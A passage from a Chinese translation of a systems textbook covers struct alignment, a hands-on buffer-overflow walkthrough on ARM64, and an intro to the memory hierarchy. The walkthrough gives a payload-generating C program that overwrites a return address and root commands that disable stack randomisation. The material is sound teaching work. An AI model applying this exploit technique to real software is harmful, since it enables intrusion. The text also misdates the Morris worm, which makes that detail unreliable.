0x838 <+72>: ldr s0, [x29, #20] // s0 = g
0x83c <+80>: str s0, [x0, #72] // store g at (s + 72) (s->gpa)
#### 9.9.1 数据对齐与结构体
请考虑以下修改后的`studentT`声明:
struct studentTM {
char name[63]; //updated to 63 instead of 64
int age;
int grad_yr;
float gpa;
};
struct studentTM student2;
`name`字段的大小被修改为 63 字节,而不是原来的 64 字节。考虑一下这如何影响`struct`在内存中的布局。你可能会忍不住想像成图 9-14 中的样子。

*图 9-14:更新后的`struct` `studentTM`的内存布局不正确。请注意,`name`字段已从 64 字节减少到 63 字节。*
在这个图示中,`age`字段出现在紧接着`name`字段的字节后面。但这是不正确的。图 9-15 显示了内存中实际的布局。

*图 9-15:更新后的`struct` `studentTM`的正确内存布局。编译器为满足内存对齐约束,添加了字节 *a*[63],但它并不对应任何字段。*
A64 的对齐策略要求四字节数据类型(例如`int`)位于地址是四的倍数的位置,而 64 位数据类型(`long`、`double`和指针数据)则位于地址是八的倍数的位置。对于`struct`,编译器在字段之间添加空字节作为“填充”,以确保每个字段满足其对齐要求。例如,在之前代码片段中声明的`struct`中,编译器在字节*a*[63]处添加一个填充字节,以确保`age`字段从一个四的倍数地址开始。正确对齐的值可以通过单次操作进行读写,从而提高效率。
考虑当`struct`定义如下时会发生什么情况:
struct studentTM {
int age;
int grad_yr;
float gpa;
char name[63];
};
struct studentTM student3;
将`name`数组移到末尾,确保`age`、`grad_yr`和`gpa`对齐为四字节。大多数编译器将去掉`struct`末尾的填充字节。然而,如果`struct`被用在数组的上下文中(例如,`struct studentTM courseSection[20];`),编译器会再次在数组中的每个`struct`之间添加填充字节,以确保正确满足对齐要求。
### 9.10 现实世界:缓冲区溢出
C 语言不执行自动数组边界检查。访问数组边界之外的内存是有问题的,并且通常会导致诸如段错误之类的错误。然而,巧妙的攻击者可以注入恶意代码,故意使数组(也称为*缓冲区*)越界,从而迫使程序以非预期的方式执行。在最坏的情况下,攻击者可以运行代码,允许他们获取*root 权限*,即操作系统级别的访问权限。一种利用程序中已知的缓冲区溢出错误的漏洞的软件称为*缓冲区溢出攻击*。
在本节中,我们将使用 GDB 和汇编语言来全面描述缓冲区溢出攻击的机制。在阅读本章之前,我们鼓励您先阅读“调试汇编代码”部分,参见第 177 页。
#### 9.10.1 缓冲区溢出的著名示例
缓冲区溢出攻击在 1980 年代出现,并在 2000 年代初期持续成为计算机行业的主要祸害。尽管许多现代操作系统已经对最简单的缓冲区溢出攻击进行了防护,但不小心的编程错误仍然会让现代程序面临严重的攻击风险。最近在 Skype^(6)、Android^(7)、Google Chrome^(8)等程序中发现了缓冲区溢出攻击。
下面是一些缓冲区溢出攻击的著名历史示例。
##### 莫里斯蠕虫
莫里斯蠕虫^(9)于 1998 年在 MIT 的 ARPANet 上发布(为了掩盖它是由康奈尔大学的一名学生编写的),并利用了 Unix 指纹守护进程(`fingerd`)中的缓冲区溢出漏洞。在 Linux 和其他类 Unix 系统中,*守护进程*是一种持续在后台运行的进程,通常执行清理和监控任务。`fingerd`守护进程提供有关计算机或用户的友好报告。最关键的是,蠕虫具有一种复制机制,使其能够多次发送到同一计算机,导致系统变得无法使用。尽管作者声称该蠕虫本意是作为一种无害的智力练习,但其复制机制使得蠕虫能够轻松传播,并且很难清除。在随后的几年中,其他蠕虫也使用缓冲区溢出漏洞来非法访问系统。著名的例子包括 Code Red(2001 年)、MS-SQLSlammer(2003 年)和 W32/Blaster(2003 年)。
##### AOL 聊天战争
大卫·奥尔巴赫(David Auerbach)^(10),前微软工程师,详细描述了他在将微软的 Messenger 服务(MMS)与 AOL 即时通讯(AIM)在 1990 年代末期进行集成时遇到的缓冲区溢出问题。当时,如果你想和朋友或家人进行即时消息聊天,AOL 即时通讯(AIM)是*首选*服务。微软试图通过在 MMS 中设计一个功能,使得 MMS 用户能够与他们的 AIM“好友”进行对话,从而在该市场中占有一席之地。AOL 对此不满,修补了他们的服务器,防止 MMS 再与其连接。微软工程师找到了让 MMS 客户端模拟 AIM 客户端发送给 AOL 服务器的消息的方法,从而使 AOL 难以区分由 MMS 和 AIM 接收到的消息。AOL 回应通过改变 AIM 消息发送方式,MMS 工程师也相应修改了他们的客户端消息,以再次与 AIM 的消息一致。这场“聊天战争”持续了下去,直到 AOL 开始在*他们自己的客户端*中使用缓冲区溢出错误来验证发送的消息是否来自 AIM 客户端。由于 MMS 客户端没有相同的漏洞,聊天战争最终结束,AOL 成为了赢家。
#### 9.10.2 初探:猜谜游戏
为了帮助你理解缓冲区溢出攻击的机制,我们提供了一个简单程序的可执行文件,用户可以通过它与程序进行猜谜游戏。下载`secret`可执行文件^(11)并使用`tar`命令解压:
$ tar -xzvf secretARM64.tar.gz
以下是与该可执行文件相关的主文件副本:
main.c
include <stdio.h>
include <stdlib.h>
include "other.h"
int endGame(void){
printf("You win!\n");
exit(0);
}
int playGame(void){
int guess, secret, len, x=3;
char buf[12];
printf("Enter secret number:\n");
scanf("%s", buf);
guess = atoi(buf);
secret=getSecretCode();
if (guess == secret)
printf("You got it right!\n");
else{
printf("You are so wrong!\n");
return 1;
}
printf("Enter the secret string to win:\n");
scanf("%s", buf);
guess = calculateValue(buf, strlen(buf));
if (guess != secret){
printf("You lose!\n");
return 2;
}
endGame();
return 0;
}
int main(){
int res = playGame();
return res;
}
这个游戏提示用户先输入一个秘密数字,然后输入一个秘密字符串来赢得猜谜游戏。头文件 `other.h` 包含了 `getSecretCode` 和 `calculateValue` 函数的定义,但我们无法访问它。那么,用户该如何战胜这个程序呢?暴力破解解决方案需要很长时间。一个策略是通过 GDB 分析 `secret` 可执行文件,并逐步查看汇编代码以揭示秘密数字和字符串。检查汇编代码以揭示它如何工作的过程通常称为 *逆向工程*。对 GDB 和汇编代码阅读足够熟悉的读者应该能够使用 GDB 逆向工程出秘密数字和秘密字符串。
然而,有一种不同的、更狡猾的方式可以获胜。
#### 9.10.3 更深入的了解(C 之下)
程序在第一次调用 `scanf` 时包含了潜在的缓冲区溢出漏洞。为了理解发生了什么,我们通过 GDB 检查 `main` 函数的汇编代码。我们还将设置一个断点,地址为 0x0000aaaaaaaaa92c,这是调用 `scanf` 之前指令的地址(将断点设置在 `scanf` 的地址会导致程序执行在 `scanf` 调用*内部*暂停,而不是在 `main` 中暂停),然后使用 `ni` 命令逐步执行一条指令:
Dump of assembler code for function playGame:
0x0000aaaaaaaaa908 <+0>: stp x29, x30, [sp, #-48]!
0x0000aaaaaaaaa90c <+4>: mov x29, sp
0x0000aaaaaaaaa910 <+8>: mov w0, #0x3
0x0000aaaaaaaaa914 <+12>: str w0, [x29, #44]
0x0000aaaaaaaaa918 <+16>: adrp x0, 0xaaaaaaaaa000
0x0000aaaaaaaaa91c <+20>: add x0, x0, #0xac0
0x0000aaaaaaaaa920 <+24>: bl 0xaaaaaaaaa730 puts@plt
0x0000aaaaaaaaa924 <+28>: add x1, x29, #0x18
0x0000aaaaaaaaa928 <+32>: adrp x0, 0xaaaaaaaaa000
0x0000aaaaaaaaa92c <+36>: add x0, x0, #0xad8
=> 0x0000aaaaaaaaa930 <+40>: bl 0xaaaaaaaaa740 __isoc99_scanf@plt
图 9-16 展示了在调用 `scanf` 之前的栈状态。

*图 9-16:调用 `scanf` 之前的调用栈*
在调用 `scanf` 之前,`scanf` 的前两个参数分别已预加载到寄存器 `x0` 和 `x1` 中。数组 `buf` 的地址存储在栈位置 `x29` + 0x18(见 `<playGame+28>`)。
现在,假设用户在提示符下输入 `1234567890`。图 9-17 展示了在调用 `scanf` 完成后栈的状态。

*图 9-17:调用 `scanf` 并输入 `1234567890` 后的调用栈*
请回想,数字 0 到 9 的 ASCII 编码的十六进制值是 0x30 到 0x39,并且每个栈内存位置的长度为 8 字节。`main` 函数的帧指针距离栈指针 56 字节。读者可以通过使用 GDB 打印 `x29` 的值(`p x29`)来确认其值。在所示的示例中,`x29` 保存的值是 0xffffffffeef0。以下命令允许读者检查位于寄存器 `sp` 下面 64 字节(以十六进制表示)的内容:
(gdb) x /64bx $sp
这个 GDB 命令的输出将类似于以下内容:
(gdb) x /64bx $sp
0xffffffffeec0: 0xf0 0xee 0xff 0xff 0xff 0xff 0x00 0x00
0xffffffffeec8: 0xf0 0xa9 0xaa 0xaa 0xaa 0xaa 0x00 0x00
0xffffffffeed0: 0x10 0xef 0xff 0xff 0xff 0xff 0x00 0x00
0xffffffffeed8: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
0xffffffffeee0: 0x39 0x30 0x00 0xaa 0xaa 0xaa 0x00 0x00
0xffffffffeee8: 0x00 0x00 0x00 0x00 0x03 0x00 0x00 0x00
0xffffffffeef0: 0x10 0xef 0xff 0xff 0xff 0xff 0x00 0x00
0xffffffffeef8: 0xe0 0x36 0x58 0xbf 0xff 0xff 0x00 0x00
每一行代表一个 64 位地址,或者两个 32 位地址。因此,关联到 32 位地址 0xffffffffeedc 的值位于显示 0xffffffffeed8 的行的最右侧四个字节中。
**注意 多字节值按小端顺序存储**
在前面的汇编段中,地址 0xffffffffeec0 处的字节是 0xf0,地址 0xffffffffeec1 处的字节是 0xee,地址 0xffffffffeec2 处的字节是 0xff,地址 0xffffffffeec3 处的字节是 0xff,地址 0xffffffffeec4 处的字节是 0xff,地址 0xffffffffeec5 处的字节是 0xff。然而,地址 0xffffffffeec0 处的 64 位*值*实际上是 0xffffffffeef0。请记住,由于 ARM64 默认是小端系统(参见第 224 页的“整数字节顺序”),多字节值(如地址)的字节以相反的顺序存储。
在这个例子中,`buf`的地址位于地址 0xffffffffeed8。因此,以下两个地址保存了与输入字符串`1234567890`相关的字节:
0xffffffffeed8: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
0xffffffffeee0: 0x39 0x30 0x00 0xaa 0xaa 0xaa 0x00 0x00
空终止字节`\0`出现在地址 0xffffffffeee2 的第三个字节位置。回想一下,`scanf`会用一个空字节来终止所有字符串。
当然,`1234567890`不是秘密数字。当我们尝试使用输入字符串`1234567890`运行`secret`时,输出如下:
$ ./secret
Enter secret number:
1234567890
You are so wrong!
$ echo $?
1
`echo $?`命令打印出最后执行的命令的返回值。在这种情况下,程序返回 1,因为我们输入的秘密数字是错误的。回想一下,根据惯例,当程序没有错误时,会返回 0。我们的目标是让程序以返回值 0 退出,表明我们赢得了游戏。
#### 9.10.4 缓冲区溢出:第一次尝试
接下来,让我们尝试输入字符串`12345678901234567890123456789012345`:
$ ./secret
Enter secret number:
12345678901234567890123456789012345
You are so wrong!
Bus error
$ echo $?
139
真有趣!现在程序因总线错误(另一种类型的内存错误)崩溃,返回代码为 139。图 9-18 展示了调用`scanf`并输入这个新字符串后的`main`函数调用栈。

*图 9-18:调用`scanf`并输入`12345678901234567890123456789012345`后的调用栈*
输入字符串过长,不仅覆盖了保存在地址 0xeed8 处的`x29`,还溢出了`main`栈帧下方的返回地址。回想一下,当函数返回时,程序会尝试从返回地址指定的位置恢复执行。在这个例子中,程序试图在退出`main`后从地址 0xffff00353433 恢复执行,但该地址似乎不存在。所以程序因总线错误崩溃。
在 GDB 中重新运行程序(`input.txt`包含上述输入字符串)揭示了这个恶作剧的行为:
$ gdb secret
(gdb) break *0x0000aaaaaaaaa934
(gdb) run < input.txt
(gdb) ni
(gdb) x /64bx $sp
0xffffffffeec0: 0xf0 0xee 0xff 0xff 0xff 0xff 0x00 0x00
0xffffffffeec8: 0xf0 0xa9 0xaa 0xaa 0xaa 0xaa 0x00 0x00
0xffffffffeed0: 0x10 0xef 0xff 0xff 0xff 0xff 0x00 0x00
0xffffffffeed8: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
0xffffffffeee0: 0x39 0x30 0x31 0x32 0x33 0x34 0x35 0x36
0xffffffffeee8: 0x37 0x38 0x39 0x30 0x31 0x32 0x33 0x34
0xffffffffeef0: 0x35 0x36 0x37 0x38 0x39 0x30 0x31 0x32
0xffffffffeef8: 0x33 0x34 0x35 0x00 0xff 0xff 0x00 0x00
(gdb) n
Single stepping until exit from function playGame,
which has no line number information.
You are so wrong!
0x0000aaaaaaaaa9f0 in main ()
(gdb) n
Single stepping until exit from function main,
which has no line number information.
0x0000ffff00353433 in ?? ()
注意到我们的输入字符串超出了`buf`数组的预定限制,覆盖了栈上存储的所有其他值。换句话说,我们的字符串创建了一个缓冲区溢出并破坏了调用栈,导致程序崩溃。这个过程也被称为*栈溢出攻击*。
#### 9.10.5 更聪明的缓冲区溢出:第二次尝试
我们的第一个例子通过用垃圾值覆盖保存的`x29`寄存器和`main`函数的返回地址来破坏了堆栈,导致程序崩溃。一个只想使程序崩溃的攻击者在这一点上可能会感到满意。然而,我们的目标是欺骗猜谜游戏返回 0,表示我们赢得了比赛。我们通过填充调用堆栈使其充满比垃圾值更有意义的数据来实现这一点。例如,我们可以覆盖堆栈,使返回地址被替换为`endGame`的地址。然后,当程序试图从`main`返回时,它将执行`endGame`而不是崩溃。
要找出`endGame`的地址,请再次在 GDB 中检查`secret`:
$ gdb secret
(gdb) disas endGame
Dump of assembler code for function endGame:
0x0000aaaaaaaaa8ec <+0>: stp x29, x30, [sp, #-16]!
0x0000aaaaaaaaa8f0 <+4>: mov x29, sp
0x0000aaaaaaaaa8f4 <+8>: adrp x0, 0xaaaaaaaaa000
0x0000aaaaaaaaa8f8 <+12>: add x0, x0, #0xab0
0x0000aaaaaaaaa8fc <+16>: bl 0xaaaaaaaaa730 puts@plt
0x0000aaaaaaaaa900 <+20>: mov w0, #0x0
0x0000aaaaaaaaa904 <+24>: bl 0xaaaaaaaaa6d0 exit@plt
注意,`endGame`的地址为 0x0000aaaaaaaaa8ec。图 9-19 说明了一个示例利用程序,强制`secret`运行`endGame`函数的漏洞利用。

*图 9-19:一个可以强制`secret`执行`endGame`函数的示例字符串*
本质上,有 32 字节的垃圾值,然后是返回地址。再次强调,因为 ARM64 默认是小端系统,返回地址中的字节看起来是反向的。
下面的程序说明了攻击者如何构建上述漏洞利用:
include <stdio.h>
char ebuff[]=
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /first 10 bytes of junk/
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /next 10 bytes of junk/
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /following 10 bytes of junk/
"\x00\x00" /last 2 bytes of junk/
"\xec\xa8\xaa\xaa\xaa\xaa\x00\x00" /address of endGame (little endian)/
;
int main(void) {
int i;
for (i = 0; i < sizeof(ebuff); i++) { /print each character/
printf("%c", ebuff[i]);
}
return 0;
}
每个数字前面的`\x`表示该数字格式化为字符的十六进制表示。在定义`ebuff[]`之后,`main`函数只是简单地逐个字符地打印它。要获取关联的字节字符串,请编译并运行以下程序:
$ gcc -o genEx genEx.c
$ ./genEx > exploit
要将`exploit`作为`scanf`的输入使用,只需在树莓派上运行带有`exploit`的`secret`。要使漏洞利用在树莓派上生效,请作为 root 键入以下一组命令(我们将在示例之后解释正在进行的操作):
$ sudo su
[sudo] password for pi:
root@pi# echo "0" > /proc/sys/kernel/randomize_va_space
root@pi# exit
$
`sudo su`命令会将您置于树莓派的 root 模式。在提示输入密码时,请使用您的密码(我们假设您对树莓派具有 root 访问权限)。一旦输入密码,接下来的命令将在 root 模式下键入。请注意,当用户处于 root 模式时,命令提示符会改变(看起来类似于`root@pi#`)。
`echo`命令会用值 0 覆盖文件`randomize_va_space`的内容。接下来,`exit`命令将用户返回到用户模式。
现在,在提示符下键入以下命令:
$ ./secret < exploit
Enter secret number:
You are so wrong!
You win!
程序会打印出“你错了!”因为`exploit`中包含的字符串*不是*秘密数字。但是,程序也会打印出字符串“你赢了!”请记住,我们的目标是欺骗程序返回 0。在一个更大的系统中,成功的概念由外部程序跟踪,通常更重要的是程序返回的内容,而不是打印出的内容。
检查返回值会得到:
$ echo $?
0
我们的攻击成功了!我们赢了比赛!
#### 9.10.6 缓冲区溢出防护
我们展示的例子改变了`secret`可执行文件的控制流,迫使它返回一个与成功相关的零值。由于 ARM 和 GCC 包含的堆栈保护措施,旨在防止这种特定类型的攻击,我们不得不通过一种相当笨拙的方式来实现这一点。然而,缓冲区溢出攻击在旧系统上可能会造成实际损害。一些旧计算机系统也会从堆栈内存中*执行*字节。如果攻击者将与汇编指令相关的字节放置在调用堆栈上,CPU 会将这些字节解释为*真实*的指令,从而使攻击者能够强制 CPU 执行*他们选择的任何任意代码*。幸运的是,现代计算机系统采用了一些策略,使得攻击者更难运行缓冲区溢出攻击:
**堆栈随机化。** 操作系统在堆栈内存中以随机位置分配堆栈的起始地址,使得每次程序运行时调用堆栈的位置/大小不同。当我们将`/proc/sys/kernel/randomize_va_space`文件的值设置为 0 时,我们暂时关闭了树莓派上的堆栈随机化(该文件在重启后会恢复到原值)。如果不关闭堆栈随机化,多个运行相同代码的机器会有不同的堆栈地址。现代 Linux 系统将堆栈随机化作为标准做法。然而,一位决心坚定的攻击者可以通过尝试使用不同的地址反复发起攻击来暴力破解这一防御。一个常见的技巧是在实际的攻击代码之前使用*NOP 滑道*(即,大量 NOP 指令)。执行 NOP 指令(`0x90`)没有任何效果,除了让程序计数器递增到下一个指令。只要攻击者能够让 CPU 在 NOP 滑道中的某个位置执行,NOP 滑道最终会引导 CPU 执行随后的攻击代码。Aleph One 的论文^(12)详细介绍了这种类型攻击的机制。
**堆栈损坏检测。** 另一种防御措施是尝试检测堆栈是否已损坏。GCC 的最新版本使用一种堆栈保护器,称为*金丝雀*,它充当缓冲区与堆栈其他元素之间的保护。金丝雀是存储在不可写内存区域中的一个值,可以与堆栈上的值进行比较。如果金丝雀在程序执行过程中“死亡”,程序就知道自己正遭受攻击,并会以错误信息中止。为了简便起见,我们通过在 GCC 中使用`fno-stack-protector`标志来编译`secret`可执行文件,去除了金丝雀。然而,一位聪明的攻击者可以在攻击过程中替换金丝雀,从而阻止程序检测到堆栈损坏。
**限制可执行区域。** 在这一防御措施中,可执行代码仅限于特定的内存区域。换句话说,调用栈不再是可执行的。然而,连这种防御也可以被突破。在利用*基于返回的编程*(ROP)攻击中,攻击者可以“挑选”可执行区域中的指令,并通过跳转指令来构建利用代码。网上有一些著名的例子,尤其是在视频游戏中。^(13)
然而,最好的防线始终是程序员本人。为了防止缓冲区溢出攻击,尽可能使用带有*长度限定符*的 C 函数,并添加执行数组边界检查的代码。至关重要的是,任何已定义的数组都必须与所选的长度限定符匹配。表 9-16 列出了几种常见的“坏” C 函数,这些函数容易受到缓冲区溢出攻击,以及对应的“好”函数(假设`buf`已分配了 12 个字节):
**表 9-16:** 带长度限定符的 C 函数
| **不要使用** | **使用** |
| --- | --- |
| `gets(buf)` | `fgets(buf, 12, stdin)` |
| `scanf("%s", buf)` | `scanf("%12s", buf)` |
| `strcpy(buf2, buf)` | `strncpy(buf2, buf, 12)` |
| `strcat(buf2, buf)` | `strncat(buf2, buf, 12)` |
| `sprintf(buf, "%d", num)` | `snprintf(buf, 12, "%d", num)` |
`secret2`二进制文件^(14)不再有缓冲区溢出漏洞。这个新二进制文件的`playGame`函数如下所示:
main2.c
int playGame(void){
int guess, secret, len, x=3;
char buf[12];
printf("Enter secret number:\n");
scanf("%12s", buf); //lengths specifier added here!
guess = atoi(buf);
secret=getSecretCode();
if (guess == secret)
printf("You got it right!\n");
else{
printf("You are so wrong!\n");
return 1;
}
printf("Enter the secret string to win:\n");
scanf("%12s", buf); //length specifier added here!
guess = calculateValue(buf, strlen(buf));
if (guess != secret){
printf("You lose!\n");
return 2;
}
endGame();
return 0;
}
注意,我们对所有`scanf`调用添加了长度限定符,使得`scanf`函数在读取输入的前 12 个字节后停止。此时,利用该漏洞的字符串不再能使程序崩溃:
$ ./secret2 < exploit
Enter secret number:
You are so wrong!
$ echo $?
1
当然,任何具有基本逆向工程技能的读者仍然可以通过分析汇编代码来赢得猜测游戏。如果你还没有尝试通过逆向工程来打败该程序,建议你现在尝试一下。
### 注意事项
1. *[`developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-a/downloads`](https://developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-a/downloads)*
2. *[`www.qemu.org/`](https://www.qemu.org/)*
3. *[`aws.amazon.com/ec2/instance-types/a1/`](https://aws.amazon.com/ec2/instance-types/a1/)*
4. Edsger Dijkstra,“Go To 语句被认为是有害的,”*ACM 通信* 11(3),第 147-148 页,1968 年。
5. *[`diveintosystems.org/book/C9-ARM64/recursion.html#_animation_observing_how_the_call_stack_changes`](https://diveintosystems.org/book/C9-ARM64/recursion.html#_animation_observing_how_the_call_stack_changes)*
6. Mohit Kumar, “Critical Skype Bug Lets Hackers Remotely Execute Malicious Code,” *[`thehackernews.com/2017/06/skype-crash-bug.html`](https://thehackernews.com/2017/06/skype-crash-bug.html)*, 2017.
7. Tamir Zahavi-Brunner, “CVE-2017-13253: 多个 Android DRM 服务中的缓冲区溢出漏洞,” *[`blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/`](https://blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/)*, 2018.
8. Tom Spring, “谷歌修复‘高危’浏览器漏洞,” *[`threatpost.com/google-patches-high-severity-browser-bug/128661/`](https://threatpost.com/google-patches-high-severity-browser-bug/128661/)*, 2017.
9. Christopher Kelty, “The Morris Worm,” *Limn Magazine*, Issue 1: 系统性风险, 2011\. *[`limn.it/articles/the-morris-worm/`](https://limn.it/articles/the-morris-worm/)*
10. David Auerbach, “聊天战争:微软 vs. AOL,” *NplusOne Magazine*, Issue 19, 2014 年春季\. *[`nplusonemag.com/issue-19/essays/chat-wars/`](https://nplusonemag.com/issue-19/essays/chat-wars/)*
11. *[`diveintosystems.org/book/C9-ARM64/_attachments/secretARM64.tar.gz`](https://diveintosystems.org/book/C9-ARM64/_attachments/secretARM64.tar.gz)*
12. Aleph One, “为了乐趣和利润破坏栈,” *[`insecure.org/stf/smashstack.html`](http://insecure.org/stf/smashstack.html)*, 1996.
13. DotsAreCool, “超级马里奥世界信用跳跃”(任天堂 ROP 示例), *[`youtu.be/vAHXK2wut_I`](https://youtu.be/vAHXK2wut_I)*, 2015.
14. *[`diveintosystems.org/book/C9-ARM64/_attachments/secret2ARM64.tar.gz`](https://diveintosystems.org/book/C9-ARM64/_attachments/secret2ARM64.tar.gz)*
# 第十一章:**汇编语言的关键要点**

本书的这一部分介绍了汇编语言的基础。尽管今天大多数人使用高级编程语言编程,但了解汇编语言可以增强程序员更好地理解他们的程序和编译器的能力。对于任何为嵌入式系统和其他资源受限环境设计软件的人,以及从事漏洞分析的人员,掌握汇编语言也是至关重要的。本书中关于汇编部分的章节涵盖了 64 位 Intel 汇编(x86-64)、32 位 Intel 汇编(IA32)和 64 位 ARM 汇编(ARMv8-A)。
### 10.1 共同特征
无论学习哪种具体的汇编语言,都有一些值得强调的*所有*汇编语言的共同特征。
**ISA 定义了汇编语言。** 机器上可用的具体汇编语言由该机器的*指令集架构*(ISA)定义。要识别特定 Linux 机器的底层架构,可以使用`uname -p`命令。
**寄存器存储数据。** 每个 ISA 都定义了一组基础的*寄存器*,CPU 用这些寄存器来处理数据。有些寄存器是*通用的*,可以存储任何类型的数据,而另一些寄存器则是*专用的*,通常由编译器为特定用途保留(例如栈指针、基址指针)。虽然通用寄存器是可读写的,但一些专用寄存器是只读的(例如指令指针)。
**指令指定了 CPU 能够执行的操作。** ISA(指令集架构)还定义了一系列*指令*,指定了 CPU 能够执行的操作。每条指令都有一个*操作码*(opcode),指明该指令的功能,并且有一个或多个*操作数*,指定要使用的数据。ISA 文档详细说明了数据传输、算术运算、条件判断、分支操作以及内存访问等特定指令。这些核心指令通常会组合起来表示更复杂的数据结构,如数组、结构体和矩阵。
**程序栈保存了与特定函数相关的局部变量。** 编译器使用进程虚拟地址空间的栈(或栈内存)来存储临时数据。在所有现代系统中,程序栈朝着*较低*的内存地址增长。编译器使用栈指针和基址指针来指定一个*栈帧*,该栈帧定义了与特定函数或过程相关的栈区域。每次函数调用时,都会将新的栈帧添加到栈中,定义与被调用函数相关的栈区域。当函数返回时,特定函数相关的栈帧会从栈中移除。通常,当函数结束时,栈指针和基址指针会恢复到它们的原始值。虽然这段书面记录表明局部变量会从栈中“清除”,但旧数据通常以垃圾值的形式保留,这有时会导致难以调试的行为。恶意攻击者也可以利用 ISA 栈管理的知识,制造像缓冲区溢出这样的危险安全漏洞。
**安全性。** 所有系统都容易受到像缓冲区溢出这样的安全漏洞的影响;然而,相对较新的 ARMv8-A 有机会从影响旧版 Intel 架构的安全缺陷中吸取教训。尽管如此,第一道防线始终是程序员。即使有额外的保护措施,没有任何 ISA 能够避免潜在的安全缺陷。在 C 语言编程时,程序员应该尽可能使用*长度说明符*,以减少由于边界溢出导致的安全漏洞的机会(参见表 10-1)。
**表 10-1:** 带有长度说明符的 C 函数
| **替代** | **使用** |
| --- | --- |
| `gets(buf)` | `fgets(buf, 12, stdin)` |
| `scanf("%s", buf)` | `scanf("%12s", buf)` |
| `strcpy(buf2, buf)` | `strncpy(buf2, buf, 12)` |
| `strcat(buf2, buf)` | `strncat(buf2, buf, 12)` |
| `sprintf(buf, "%d")` | `snprintf(buf, 12, "%d", num)` |
### 10.2 进一步阅读
本书仅提供了当前使用的一些最流行汇编语言的初步介绍。如果你想更深入地了解汇编语言,我们鼓励你查阅 ISA 规格:
+ Intel 64 和 IA32 手册, *[`software.intel.com/en-us/articles/intel-sdm#architecture`](https://software.intel.com/en-us/articles/intel-sdm#architecture)*
+ ARM Cortex-A 编程指南, *[`developer.arm.com/docs/den0024/a/preface`](https://developer.arm.com/docs/den0024/a/preface)*
以下免费的资源对于有兴趣学习 32 位汇编的人可能也会很有帮助:
+ IA32 编程网络附录,Randal Bryant 和 David O’Hallaron, *[`csapp.cs.cmu.edu/3e/waside/waside-ia32.pdf`](http://csapp.cs.cmu.edu/3e/waside/waside-ia32.pdf)*
+ 32 位 ARM 汇编,Azeria Labs, *[`azeria-labs.com/writing-arm-assembly-part-1/`](https://azeria-labs.com/writing-arm-assembly-part-1/)*
以下书籍也包含了关于汇编语言的深入讨论;它们不是免费的,但它们是进一步阅读的宝贵资源:
+ 英特尔系统:Randal Bryant 和 David O'Hallaron, *计算机系统:程序员的视角*, Pearson, 2015 年。
+ ARMv8: David Patterson 和 John Hennessy, *计算机组织与设计:ARM 版*, Morgan Kaufmann, 2016 年。
# 第十二章:**存储与内存层次结构**

尽管设计和实现高效算法通常是编写高性能程序中*最*关键的方面,但还有一个常常被忽视的因素,可能对性能产生重大影响:内存。或许令人惊讶的是,两个具有相同渐近性能(最坏情况下的步骤数)的算法,在相同输入下,可能由于执行硬件的组织方式而表现出截然不同的性能。这种差异通常源于算法的内存访问,特别是它们存储数据的位置以及它们访问数据时所表现出的模式。这些模式被称为*内存局部性*,为了获得最佳性能,程序的访问模式需要与硬件的内存布局良好对接。
例如,考虑以下两种计算 *N* × *N* 矩阵平均值的函数变体。尽管这两种变体访问相同的内存位置次数相同(*N*²),但变体 1 在实际系统上执行的速度大约是变体 2 的五倍。这个差异源于它们访问这些内存位置的模式。本文末尾,我们将使用内存分析工具*Cachegrind*来分析这个例子。
变体 1
float averageMat_v1(int **mat, int n) {
int i, j, total = 0;
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
// Note indexing: [i][j]
total += mat[i][j];
}
}
return (float) total / (n * n);
}
变体 2
float averageMat_v2(int **mat, int n) {
int i, j, total = 0;
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
// Note indexing: [j][i]
total += mat[j][i];
}
}
return (float) total / (n * n);
}
存储位置,如寄存器、CPU 缓存、主内存和磁盘上的文件,都具有显著不同的访问时间、传输速率和存储容量。在编写高性能应用程序时,考虑数据的存储位置以及程序访问每个设备数据的频率是非常重要的。例如,程序启动时访问一次缓慢的磁盘通常不会成为主要问题。另一方面,频繁访问磁盘则会显著降低程序的运行速度。
本章描述了各种内存设备,并介绍了它们在现代 PC 中的组织方式。通过这个背景,我们将看到如何将不同的内存设备组合起来,利用典型程序中的内存访问模式的局部性。
### 11.1 内存层次结构
当我们探索现代计算机存储时,一个常见的模式浮现出来:具有更高容量的设备通常提供较低的性能。换句话说,系统使用既快速又能存储大量数据的设备,但没有单一设备能同时做到这两点。这种性能与容量之间的权衡被称为*内存层次结构*,图 11-1 以图示的方式呈现了这一层次结构。
存储设备同样在成本和存储密度之间进行权衡:速度更快的设备更贵,无论是在每美元字节数还是运营成本(例如,能耗)方面。考虑到虽然缓存提供了很好的性能,但要构建一个足够大的缓存以放弃主内存的 CPU,其成本(和制造挑战)使得这种设计不可行。实际系统必须利用多种设备的组合,以满足程序的性能和容量需求,今天的典型系统通常包括图 11-1 中描述的大部分设备,甚至是所有设备。

*图 11-1:内存层次结构*
内存层次的现实对程序员来说是不幸的,因为他们希望不必担心数据存储位置对性能的影响。例如,在大多数应用中声明一个整数时,程序员理想情况下不需要为数据是存储在缓存中还是主内存中而苦恼。要求程序员细致管理每个变量占据的内存类型会非常繁琐,尽管在某些小型、对性能要求严格的代码段中,这样做偶尔是值得的。
请注意,图 11-1 将 *缓存* 分类为单一实体,但大多数系统包含多个级别的缓存,这些缓存形成自己的较小层次结构。例如,CPU 通常会集成一个非常小且快速的 *一级*(L1)缓存,它相对靠近算术逻辑单元(ALU),以及一个更大且较慢的 *二级*(L2)缓存,位于更远的位置。许多多核 CPU 还会在更大的 *三级*(L3)缓存中共享核心之间的数据。尽管缓存级别之间的差异可能对性能敏感的应用程序很重要,本书为了简化,假设只考虑一个缓存级别。
虽然本章主要关注寄存器、CPU 缓存和主内存之间的数据传输,下一节将描述跨内存层次结构的常见存储设备。我们稍后将在“虚拟内存”一节中,讨论磁盘及其在内存管理中的作用,见第 639 页。
### 11.2 存储设备
